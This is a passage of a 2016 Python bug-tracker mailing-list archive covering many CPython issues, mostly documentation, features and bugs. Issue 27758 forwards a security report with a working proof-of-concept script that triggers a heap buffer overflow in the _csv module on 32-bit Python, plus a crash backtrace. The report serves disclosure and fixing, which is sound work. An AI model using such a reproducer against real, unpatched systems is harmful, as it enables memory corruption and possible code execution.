[issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471110673.48.0.459113439753.issue27753@psf.upfronthosting.co.za> SilentGhost added the comment: I don't see how this is an improvement. Before it clearly said that the first argument must be file name, now it's an oddly confusing statement. Also, typically we don't list all the possibilities of what the arguments must not be. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:51:34 2016 From: report at bugs.python.org (Georg Brandl) Date: Sat, 13 Aug 2016 17:51:34 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471110694.8.0.681642864066.issue12345@psf.upfronthosting.co.za> Georg Brandl added the comment: Please folks. Stop taking this so seriously and remember that this is the language where you can type in >>> import antigravity and it actually works. (Sort of.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 13:56:50 2016 From: report at bugs.python.org (David Edelsohn) Date: Sat, 13 Aug 2016 17:56:50 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <1471111010.57.0.0358407600003.issue25825@psf.upfronthosting.co.za> David Edelsohn added the comment: The second of two patches. This patch changes the definition of LDSHARED for AIX in configure to reference the matching installed location as defined in Makefile.pre.in by Patch1. The definition from configure propagates into _sysconfigdata.py. This change will (further) break test_distutils, but the testcase is wrong on AIX. And, for AIX, a correct test result clearly does not correspond to correct behavior. The patch affects both configure.ac and configure because the corresponding change to configure is obvious. The person who installs the patch may regenerate configure, as appropriate. ---------- Added file: http://bugs.python.org/file44096/Issue25825-patch2.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:10:30 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 13 Aug 2016 18:10:30 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <20160813181026.845.6057.C21ACF2E@psf.io> Roundup Robot added the comment: New changeset 825713d3786a by Raymond Hettinger in branch '2.7': Issue #27720: Fix error in eng_to_decimal docs and add examples from the specification. https://hg.python.org/cpython/rev/825713d3786a ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:16:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 13 Aug 2016 18:16:08 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <20160813181605.23355.17070.873134CE@psf.io> Roundup Robot added the comment: New changeset de2a9c98948e by Raymond Hettinger in branch '3.5': Issue #27720: Fix error in eng_to_decimal docs and add examples from the specification. https://hg.python.org/cpython/rev/de2a9c98948e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:18:23 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 13 Aug 2016 18:18:23 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1471112303.05.0.0012193509558.issue27720@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:40:42 2016 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Sat, 13 Aug 2016 18:40:42 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471113642.56.0.328240695154.issue1602@psf.upfronthosting.co.za> Adam Barto? added the comment: Hello Steve, that's great you are working on this! I've ran through your patch and I have the following remarks: ? Since wide chars have two bytes, there may be problem when someone wants to read or write odd number of bytes. If the number is > 1, it's ok since the code may read or write less bytes, but when the number is exactly 1, the code should maybe raise some exception. ? WriteConsoleW always fails with ERROR_NOT_ENOUGH_MEMORY (8) if we try to write more than a certain number of bytes. For me, the number is something like 41000. Unfortunately, it depends on actual heap usage of the console process. I do len = min(len, 32767) in write. The the value chosen comes from issue11395 . ? If someone types something like ^Zfoo, the standard sys.stdin returns '' -- it ignores everything after EOF if it is the first byte read. I reproduce the bahaviour in win_unicode_console to be compatible. ? There may be some issue when someone hits Ctrl-C on input. It seems that in that case, ReadConsoleW fails with ERROR_OPERATION_ABORTED (995) and some signal is asynchronously fired. It may happen that the corresponding KeyboardInterrupt exception occurs later that it should. In my Python/ctypes situation I do an ugly hack ? I detect ERROR_OPERATION_ABORTED and in that case I sleep for 0.1 seconds to wait for the exception. I understand that the situation may me different in C. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:42:40 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 18:42:40 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471113760.05.0.818058789915.issue27754@psf.upfronthosting.co.za> R. David Murray added the comment: That doesn't look like a thread consensus, nor does the link you provide explain what is under discussion. I'm not going to search the thread myself, so my answer right now is "dropped" unless there was actually a positive conclusion to that thread for whatever it is :) ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:48:43 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 13 Aug 2016 18:48:43 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <20160813184840.79138.61860.6AE611DB@psf.io> Roundup Robot added the comment: New changeset b1e4c8a3e786 by R David Murray in branch '2.7': #27753: fix typo (name->named). https://hg.python.org/cpython/rev/b1e4c8a3e786 New changeset c1cc1f616285 by R David Murray in branch '3.5': #27753: fix typo (name->named). https://hg.python.org/cpython/rev/c1cc1f616285 New changeset dda25c37d02b by R David Murray in branch 'default': Merge: #27753: fix typo (name->named). https://hg.python.org/cpython/rev/dda25c37d02b ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 14:49:33 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 18:49:33 +0000 Subject: [issue27753] py_compile.compile() does not specify if it can accept a file like object or a bytes like object with the file's data. In-Reply-To: <1471101470.06.0.092616932845.issue27753@psf.upfronthosting.co.za> Message-ID: <1471114173.21.0.110716156423.issue27753@psf.upfronthosting.co.za> R. David Murray added the comment: Agreed, the current wording is correct and complete, except for the name vs named bit. I've fixed that. ---------- nosy: +r.david.murray resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 15:52:27 2016 From: report at bugs.python.org (Justin Foo) Date: Sat, 13 Aug 2016 19:52:27 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox Message-ID: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> New submission from Justin Foo: One aspect of the IDLE interface that looks extremely old is the the dropdown menu. In the patch, I think I've preserved whatever essential functionality DynOptionMenu used to have, but I'm relatively unfamiliar with Tk so I'm not sure. ---------- assignee: terry.reedy components: IDLE messages: 272609 nosy: jfoo, terry.reedy priority: normal severity: normal status: open title: Retire DynOptionMenu with a ttk Combobox type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 15:53:46 2016 From: report at bugs.python.org (Justin Foo) Date: Sat, 13 Aug 2016 19:53:46 +0000 Subject: [issue27755] Retire DynOptionMenu with a ttk Combobox In-Reply-To: <1471117947.7.0.659308305751.issue27755@psf.upfronthosting.co.za> Message-ID: <1471118026.68.0.000159288101925.issue27755@psf.upfronthosting.co.za> Changes by Justin Foo : ---------- keywords: +patch Added file: http://bugs.python.org/file44097/issue27755.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:07:26 2016 From: report at bugs.python.org (Justin Foo) Date: Sat, 13 Aug 2016 20:07:26 +0000 Subject: [issue21417] Compression level for zipfile In-Reply-To: <1399053616.42.0.124840881006.issue21417@psf.upfronthosting.co.za> Message-ID: <1471118846.28.0.109622944072.issue21417@psf.upfronthosting.co.za> Justin Foo added the comment: Would compresslevel be a suitable argument? All the backend compressors accept values from 1 to 9 if I'm not mistaken. ---------- nosy: +jfoo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:15:08 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 20:15:08 +0000 Subject: [issue21417] Compression level for zipfile In-Reply-To: <1399053616.42.0.124840881006.issue21417@psf.upfronthosting.co.za> Message-ID: <1471119308.49.0.623891026611.issue21417@psf.upfronthosting.co.za> Decorater added the comment: Yes, it would make sence or better yet have a arg that is optional that if not set make it = ``9``. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:17:05 2016 From: report at bugs.python.org (Ned Deily) Date: Sat, 13 Aug 2016 20:17:05 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471119425.26.0.780027309632.issue27736@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the patch. FWIW, that does seem to solve the crash. Brett, look good to you? If so, I can push the fix. ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:26:13 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 20:26:13 +0000 Subject: [issue27756] Add pyd icon for 3.6 Message-ID: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> New submission from Decorater: I did some working and did a halfed one for pyd's it basically combines it icon from python.exe with the DLL "gears" for windows DLL's beig under that. Hopefully it will work. (Anyone could use this as a base file and restyle it or whatever if they want. At least I tried. (note: the file would have to go under the PC directory as well. Hopefully something from the python installer can associate them with pyd files so that way people can distinquish them from any other file type (like pdbs,lib,w/e with no icon(s)). ---------- files: pyd.ico messages: 272613 nosy: Decorater priority: normal severity: normal status: open title: Add pyd icon for 3.6 versions: Python 3.6 Added file: http://bugs.python.org/file44098/pyd.ico _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:34:54 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 13 Aug 2016 20:34:54 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471120494.18.0.895701539549.issue27754@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Ok, so let me try to summarize. Some people realized that & and | on bools are overridden to return bools instead of ints, and thought it would be nice if ~ acted as negation on bools (~False being True and ~True being false) instead of mapping them to -1 and -2 as it currently does. A (weak, IMO) counterargument is that currently int(a op b) == int(a) op int(b) for all ints a and b, even those ints that are also bools. But of course str(True) != str(1), so of course _some_ special methods can be overridden with a different behavior (returning non-equal things). A better (again IMO) counterargument is that those (&, |, ~) operators are meant to be bitwise, that is, threaded over all the bits in the operands. In that case, bool with that ~ implementation should not be looked at as a subclass of int* qua long in Py2 (infinite number of bits to the left), but as a subclass of "int1" in the sense of Py2 int being int32 (fixed number of bits). But if we are to drive this to the natural conclusion, then True == -1 when upcasted to int, not 1, and that would probably break too much code. Also, there are bitwise operators (<<, >>) which don't have a nice analogue on int1 (except always returning 0, which is not interesting). Also (wasn't mentioned in the thread, but probably worth mentioning), Python 3 really tries to not have fixed-length ints anywhere. For example, indexing bytes gives ints, and they are not int8, but ordinary int*: ~b'a'[0] is -98, not 158. Bools might be special, but they are probably not _that_ special. We have worked long and hard to remove fixed-length ints from Python, it would be very counterproductive to add them back again. The only reason I'm bringing this here, is that Guido said at some moment > So we're either going to introduce it in 3.6 and tell people about it in case their code might break, or we're never going to do it. and I would feel bad to tell future learners of Python "that feature was considered, but we simply forgot about it and the opportunity closed". :-O If the sentiment has really crystallized to "we shouldn't do this" in the meantime, no problem. But it seems no pronouncement was made. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:39:06 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 20:39:06 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471120746.39.0.969603845582.issue27749@psf.upfronthosting.co.za> Decorater added the comment: I can confirm that I also get the same crash. ---------- Added file: http://bugs.python.org/file44099/python.exe.8228.dmp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:39:57 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 20:39:57 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471120797.26.0.120251889143.issue27749@psf.upfronthosting.co.za> Decorater added the comment: I do know for sure the crash happens in python.exe and blames ntdll.dll for it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 16:49:47 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 13 Aug 2016 20:49:47 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471121387.36.0.485876281204.issue12345@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: As an Easter egg, of course. I'm all for it. But please take a look at https://docs.python.org/3.5/search.html?q=antigravity&check_keywords=yes&area=default ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 17:16:08 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 21:16:08 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471122968.24.0.857961735574.issue12345@psf.upfronthosting.co.za> Decorater added the comment: not to mention I like to use the following expression myself. pie = 22 / 7 # because why not? tau = 2 * pie ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 17:19:35 2016 From: report at bugs.python.org (Stefan Krah) Date: Sat, 13 Aug 2016 21:19:35 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471123175.52.0.66552002775.issue12345@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- nosy: -skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 17:40:41 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 21:40:41 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471124441.46.0.265885742719.issue27754@psf.upfronthosting.co.za> R. David Murray added the comment: Well, in this context "in 3.6" means "in the next feature release", so it isn't as if the window closes forever. I'd vote -1 myself. It doesn't seem like a useful enough feature to be worth adding, given that ~x is equivalent to "not x" for booleans, but "not x" returns a bool regardless of what x is while ~ doesn't. In fact, I'd classify it as an attractive nuisance. Note also that & and | return booleans only when both operands are boolean, but the value of expression as an integer is the same regardless of the type returned. This would not be true for ~. So, I vote for "officially dropped". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 17:44:52 2016 From: report at bugs.python.org (R. David Murray) Date: Sat, 13 Aug 2016 21:44:52 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471124692.24.0.753689014838.issue27754@psf.upfronthosting.co.za> R. David Murray added the comment: Well, maybe I'm wrong about the 'next feature release' bit, I won't claim to be able to read Guido's mind :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 19:23:40 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 23:23:40 +0000 Subject: [issue27757] eval() does not allow import statements to run. Message-ID: <1471130620.63.0.743725137456.issue27757@psf.upfronthosting.co.za> New submission from Decorater: runnign exec on import lines are fine however if I run the following code in a exec: >>>import py2pycx;py2pycx.api.compress_script(sys.path[0] + '\resources\Dependencies', 'six.py') Traceback (most recent call last): File ".\resources\Dependencies\DecoraterBotCore\BotCommands.py", line 261, in debug_code debugcode = eval(debugcode) File "", line 1 import py2pycx;py2pycx.api.compress_script(sys.path[0] + '\resources\Dependencies\', 'six.py') ^ SyntaxError: invalid syntax It says it is a SyntaxError. It would be nice if eval could support import statements as well so I do not have to import the module in the file/package to be able to use eval with the functions it has. ---------- messages: 272621 nosy: Decorater priority: normal severity: normal status: open title: eval() does not allow import statements to run. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 19:24:33 2016 From: report at bugs.python.org (Decorater) Date: Sat, 13 Aug 2016 23:24:33 +0000 Subject: [issue27757] eval() does not allow import statements to run. In-Reply-To: <1471130620.63.0.743725137456.issue27757@psf.upfronthosting.co.za> Message-ID: <1471130673.03.0.544990192379.issue27757@psf.upfronthosting.co.za> Decorater added the comment: eval* my typo is OP ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 19:48:41 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 13 Aug 2016 23:48:41 +0000 Subject: [issue23369] integer overflow in _json.encode_basestring_ascii In-Reply-To: <1422799175.9.0.580347379364.issue23369@psf.upfronthosting.co.za> Message-ID: <20160813234838.67985.35286.93585ADB@psf.io> Roundup Robot added the comment: New changeset 6fa0ebfdc136 by Benjamin Peterson in branch '2.7': fix possible overflow in encode_basestring_ascii (#23369) https://hg.python.org/cpython/rev/6fa0ebfdc136 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:16:15 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Sun, 14 Aug 2016 00:16:15 +0000 Subject: [issue27758] integer overflow in the _csv module's join_append_data function Message-ID: <1471133774.9.0.7207224009.issue27758@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Thomas E Hybel on PSRT reports: This vulnerability is an integer overflow leading to a heap buffer overflow. I have attached a proof-of-concept script below. The vulnerability resides in the Modules/_csv.c file, in the join_append and join_append_data functions. join_append initially calls join_append_data with copy_phase=0 to compute the new length of its internal "rec" buffer. Then it grows the buffer. Finally it calls join_append_data with copy_phase=1 to perform the actual writing. The root issue is that join_append_data does not check for overflow when computing the field rec_len which it returns. By having join_append_data called on a few fields of appropriate length, we can make rec_len roll around and become a small integer. Note that there is already a check in join_append for whether (rec_len < 0). But this check is insufficient as we can cause rec_len to grow sufficiently in a single call to never let join_append see a negative size. After the overflow happens, rec_len is a small integer, and thus when join_append calls join_check_rec_size to potentially grow the rec buffer, no enlargement happens. After this, join_append_data is called again, now with copy_phase=1, and with a giant field_len. Thus join_append_data writes the remaining data out-of-bounds of the self->rec buffer which is located on the heap. Such a complete heap corruption should definitely be exploitable to gain remote code execution. Further details: Tested version: Python-3.5.2, 32 bits Proof-of-concept reproducer script (32-bits only): --- begin script --- import _csv class MockFile: def write(self, _): pass writer = _csv.writer(MockFile()) writer.writerow(["A"*0x10000, '"'*0x7fffff00]) --- end script --- Python (configured with --with-pydebug) segfaults when the script is run. A backtrace can be seen below. Note that the script only crashes on 32-bit versions of Python. That's because the rec_len variable is an ssize_t, which is 4 bytes wide on 32-bit architectures, but 8 bytes wide on 64-bit arches. (gdb) r Starting program: /home/ubuntu32/python3/Python-3.5.2/python ../poc1.py ... Program received signal SIGSEGV, Segmentation fault. PyType_IsSubtype (a=0x0, b=b at entry=0x82d9aa0 ) at Objects/typeobject.c:1343 1343 mro = a->tp_mro; (gdb) bt #0 PyType_IsSubtype (a=0x0, b=b at entry=0x82d9aa0 ) at Objects/typeobject.c:1343 #1 0x080e29d9 in PyModule_GetState (m=0xb7c377f4) at Objects/moduleobject.c:532 #2 0xb7fd1a33 in join_append_data (self=self at entry=0xb7c2ffac, field_kind=field_kind at entry=0x1, field_data=field_data at entry=0x37c2f038, field_len=field_len at entry=0x7fffff00, quoted=quoted at entry=0xbffff710, copy_phase=copy_phase at entry=0x1) at /home/ubuntu32/python3/Python-3.5.2/Modules/_csv.c:1060 #3 0xb7fd1d6e in join_append (self=self at entry=0xb7c2ffac, field=field at entry=0x37c2f018, quoted=0x1, quoted at entry=0x0) at /home/ubuntu32/python3/Python-3.5.2/Modules/_csv.c:1138 ... ---------- components: Library (Lib) messages: 272624 nosy: benjamin.peterson priority: normal severity: normal status: open title: integer overflow in the _csv module's join_append_data function type: security versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:22:42 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 14 Aug 2016 00:22:42 +0000 Subject: [issue27758] integer overflow in the _csv module's join_append_data function In-Reply-To: <1471133774.9.0.7207224009.issue27758@psf.upfronthosting.co.za> Message-ID: <20160814002237.13592.60520.7092C4D5@psf.io> Roundup Robot added the comment: New changeset fdae903db33a by Benjamin Peterson in branch '2.7': check for overflow in join_append_data (closes #27758) https://hg.python.org/cpython/rev/fdae903db33a New changeset afa356402217 by Benjamin Peterson in branch '3.3': check for overflow in join_append_data (closes #27758) https://hg.python.org/cpython/rev/afa356402217 New changeset 10b89df93c58 by Benjamin Peterson in branch '3.4': merge 3.3 (#27758) https://hg.python.org/cpython/rev/10b89df93c58 New changeset 55e8d3e542bd by Benjamin Peterson in branch '3.5': merge 3.4 (closes #27758) https://hg.python.org/cpython/rev/55e8d3e542bd New changeset 609b554dd4a2 by Benjamin Peterson in branch 'default': merge 3.5 (closes #27758) https://hg.python.org/cpython/rev/609b554dd4a2 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:26:49 2016 From: report at bugs.python.org (Mark Williams) Date: Sun, 14 Aug 2016 00:26:49 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors Message-ID: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za> New submission from Mark Williams: Registering a file descriptor with EpollSelector.register that epoll(7) refuses results in the selector retaining a SelectorKey for that file descriptor, even though it's not monitored. The following program attempts to register a file on the filesystem with an EpollSelector. epoll_ctl(2) returns EPERM when given a such a file descriptor, so it shouldn't be registered with the selector, but it is registered. import selectors import tempfile import traceback sel = selectors.EpollSelector() with tempfile.TemporaryFile() as f: try: sel.register(f, selectors.EVENT_READ) except PermissionError: traceback.print_exc() print("This should have raised a KeyError:", sel.get_key(f)) It produces this output on Pythons 3.4-3.6: Traceback (most recent call last): File "/tmp/sel.py", line 9, in sel.register(f, selectors.EVENT_READ) File "/usr/lib/python3.4/selectors.py", line 402, in register self._epoll.register(key.fd, epoll_events) PermissionError: [Errno 1] Operation not permitted This should have raised a KeyError: SelectorKey(fileobj=<_io.BufferedRandom name=8>, fd=8, events=1, data=None) A similar problem exists with KqueueSelector. Consider the following program: import selectors import tempfile import traceback sel = selectors.KqueueSelector() f = tempfile.TemporaryFile() filedescriptor = f.fileno() f.close() try: sel.register(filedescriptor, selectors.EVENT_READ) except OSError: traceback.print_exc() print("This should have raised a KeyError:", sel.get_key(filedescriptor)) In this case selectors._fileobj_to_fd doesn't detect that the integer file descriptor is closed. Note that _fileobj_to_fd should not be changed! Attempting to use, say, fcntl(fd, fcntl.GET_FD) to detect a closed file descriptor introduces a TOCTTOU bug. Another thread (or another process, if the file descriptor refers to a socket shared between two or more processes and one calls shutdown(2) on it) can change the state of the file descriptor between the time it's checked and the time it's registered. A new file might even be opened and given the previous file descriptor. The attached patch catches any exception raised by EpollSelector.register or KqueueSelector.register, removes the SelectorKey from BaseSelector's table, and then re-raises the exception. Note that I've included asyncio as an affected component, because asyncio wraps the selectors module. ---------- components: asyncio files: selectors.patch keywords: patch messages: 272626 nosy: Mark.Williams, gvanrossum, haypo, yselivanov priority: normal severity: normal status: open title: selectors incorrectly retain invalid file descriptors versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44100/selectors.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:38:53 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 14 Aug 2016 00:38:53 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471135133.28.0.43765758922.issue12345@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Unsubscribing from this ridiculous issue. Guido, do your thing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:39:06 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 14 Aug 2016 00:39:06 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1471135146.9.0.60823014105.issue12345@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:55:14 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 14 Aug 2016 00:55:14 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471136114.97.0.728532119027.issue27754@psf.upfronthosting.co.za> Raymond Hettinger added the comment: >>> ... it would be nice if ~ acted as negation on bools (~False being >>> True and ~True being false) instead of mapping them to -1 and -2 >>> as it currently does. I'm strongly against this proposal for several reasons. 1. One way to do it. We don't need a second way to spell "not x". As a Python teacher, I will find it harder to explain the language with this change (sometimes ~ sometimes means bitwise-not and sometimes it means "not"). 2. We were supposed to learn from our mistake using "%" for string formatting which causes problems because the operator precedence was the same as multiplication and division and inappropriate for formatting. In the case, the precedence for the bitwise-and/or/not is very different from boolean-and/or/not (the former occur before comparisons and the latter occur after comparisons). 3. Not all Liskov violations matter, but it is not uncommon to rely on True and False being interchangeable with 1 and 0. I suspect this change will break some existing code in a way that is hard to find and may not be covered by existing unit tests. 4. If we care at all about Python 3 adoption, we will stop introducing hundreds of little breakages and changes in meaning that add almost no value but do increase the difficultly (and cost) of moving to Python 3. Guido has referred to this as "death by a thousand cuts". So please put me down with R. David Murray as recommending that this proposal to be deemed "officially dropped". ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 20:57:00 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Sun, 14 Aug 2016 00:57:00 +0000 Subject: [issue27754] Changing the meaning of bool.__invert__ In-Reply-To: <1471109824.62.0.86263104398.issue27754@psf.upfronthosting.co.za> Message-ID: <1471136220.41.0.863428217282.issue27754@psf.upfronthosting.co.za> Changes by Benjamin Peterson : ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:03:06 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 14 Aug 2016 01:03:06 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors In-Reply-To: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za> Message-ID: <1471136586.4.0.813360343238.issue27759@psf.upfronthosting.co.za> Guido van Rossum added the comment: Your patch doesn't apply cleanly to the 3.4 or 3.5 branches -- how did you generate it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:06:45 2016 From: report at bugs.python.org (Ned Deily) Date: Sun, 14 Aug 2016 01:06:45 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471136805.61.0.510880552239.issue27756@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:09:25 2016 From: report at bugs.python.org (Mark Williams) Date: Sun, 14 Aug 2016 01:09:25 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors In-Reply-To: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za> Message-ID: <1471136965.82.0.880660883519.issue27759@psf.upfronthosting.co.za> Mark Williams added the comment: Whoops! I pulled from https://github.com/python/cpython and branched off of master. The previous commit was https://github.com/python/cpython/tree/043152b8da83105ff5cba88d4e6ef1d5c64b3602 I can generate new patches using hg.python.org's 3.4 and 3.5 branches. Please stand by. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:14:45 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 14 Aug 2016 01:14:45 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors In-Reply-To: <1471136965.82.0.880660883519.issue27759@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: We only need 3.5; 3.4 is no longer supported. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:17:14 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 14 Aug 2016 01:17:14 +0000 Subject: [issue27759] selectors incorrectly retain invalid file 